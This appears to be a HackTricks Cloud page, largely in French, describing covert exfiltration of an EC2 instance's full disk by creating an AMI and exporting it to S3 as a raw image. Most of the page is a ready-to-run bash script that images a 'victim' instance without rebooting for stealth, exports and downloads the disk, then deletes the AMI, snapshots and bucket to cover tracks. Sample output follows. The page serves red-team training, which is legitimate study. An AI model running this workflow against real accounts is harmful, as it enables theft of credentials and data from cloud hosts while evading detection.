AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Résumé
Abuse EC2 AMI export-to-S3 pour exfiltrer le disque complet d'une instance EC2 en tant qu'image raw unique stockée dans S3, puis la télécharger par un canal hors bande. Cela évite le partage de snapshots et produit un objet par AMI.
Prérequis
- EC2:
ec2:CreateImage,ec2:CreateStoreImageTask,ec2:DescribeStoreImageTaskssur l'instance/AMI cible - S3 (même Région):
s3:PutObject,s3:GetObject,s3:ListBucket,s3:AbortMultipartUpload,s3:PutObjectTagging,s3:GetBucketLocation - Capacité KMS de décryptage sur la clé qui protège les snapshots AMI (si le chiffrement par défaut EBS est activé)
- S3 bucket policy qui fait confiance au service principal
vmie.amazonaws.com(voir ci-dessous)
Impact
- Acquisition complète hors ligne du disque racine de l'instance dans S3 sans partager les snapshots ni copier entre comptes.
- Permet une analyse forensique discrète des identifiants, de la configuration et du contenu du système de fichiers à partir de l'image raw exportée.
How to Exfiltrate via AMI Store-to-S3
- Remarques :
- Le bucket S3 doit être dans la même Région que l'AMI.
- Dans
us-east-1,create-bucketNE doit PAS inclure--create-bucket-configuration. --no-rebootcrée une image crash-consistent sans arrêter l'instance (plus discret mais moins cohérent).
Commandes étape par étape
# Vars
REGION=us-east-1
INSTANCE_ID=<i-victim>
BUCKET=exfil-ami-$(date +%s)-$RANDOM
# 1) Create S3 bucket (same Region)
if [ "$REGION" = "us-east-1" ]; then
aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
else
aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
fi
# 2) (Recommended) Bucket policy to allow VMIE service to write the object
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
cat > /tmp/bucket-policy.json <<POL
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowVMIEPut",
"Effect": "Allow",
"Principal": {"Service": "vmie.amazonaws.com"},
"Action": [
"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
],
"Resource": [
"arn:aws:s3:::$BUCKET",
"arn:aws:s3:::$BUCKET/*"
],
"Condition": {
"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
}
}
]
}
POL
aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
# 3) Create an AMI of the victim (stealthy: do not reboot)
AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
# 4) Wait until the AMI is available
aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
# 5) Store the AMI to S3 as a single object (raw disk image)
OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
echo "Object in S3: s3://$BUCKET/$OBJKEY"
# 6) Poll the task until it completes
until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
--query StoreImageTaskResults[0].StoreTaskState --output text
sleep 10
done
# 7) Prove access to the exported image (download first 1MiB)
aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
ls -l /tmp/ami.bin
# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
done
aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
aws s3 rb "s3://$BUCKET" --force --region "$REGION"
Exemple de preuve
describe-store-image-taskstransitions:
InProgress
Completed
- S3 métadonnées d'objet (exemple):
{
"AcceptRanges": "bytes",
"LastModified": "2025-10-08T01:31:46+00:00",
"ContentLength": 399768709,
"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
"ContentType": "application/octet-stream",
"ServerSideEncryption": "AES256",
"Metadata": {
"ami-name": "exfil-1759887010",
"ami-owner-account": "<account-id>",
"ami-store-date": "2025-10-08T01:31:45Z"
}
}
- Téléchargement partiel prouve l'accès à l'objet:
ls -l /tmp/ami.bin
# -rw-r--r-- 1 user wheel 1048576 Oct 8 03:32 /tmp/ami.bin
Autorisations IAM requises
- EC2 :
CreateImage,CreateStoreImageTask,DescribeStoreImageTasks - S3 (sur le bucket d'export) :
PutObject,GetObject,ListBucket,AbortMultipartUpload,PutObjectTagging,GetBucketLocation - KMS : Si les snapshots AMI sont chiffrés, autoriser decrypt pour la EBS KMS key utilisée par les snapshots
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud